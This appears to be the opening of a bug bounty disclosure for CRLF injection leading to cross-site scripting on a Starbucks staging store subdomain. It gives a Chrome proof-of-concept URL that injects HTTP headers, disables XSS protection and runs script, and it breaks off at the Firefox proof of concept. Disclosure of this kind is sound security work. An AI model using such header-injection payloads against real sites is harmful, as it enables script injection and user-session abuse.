Starbucks: [stagecafrstore.starbucks.com] CRLF Injection, XSS

Chrome PoC http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E FireFox PoC...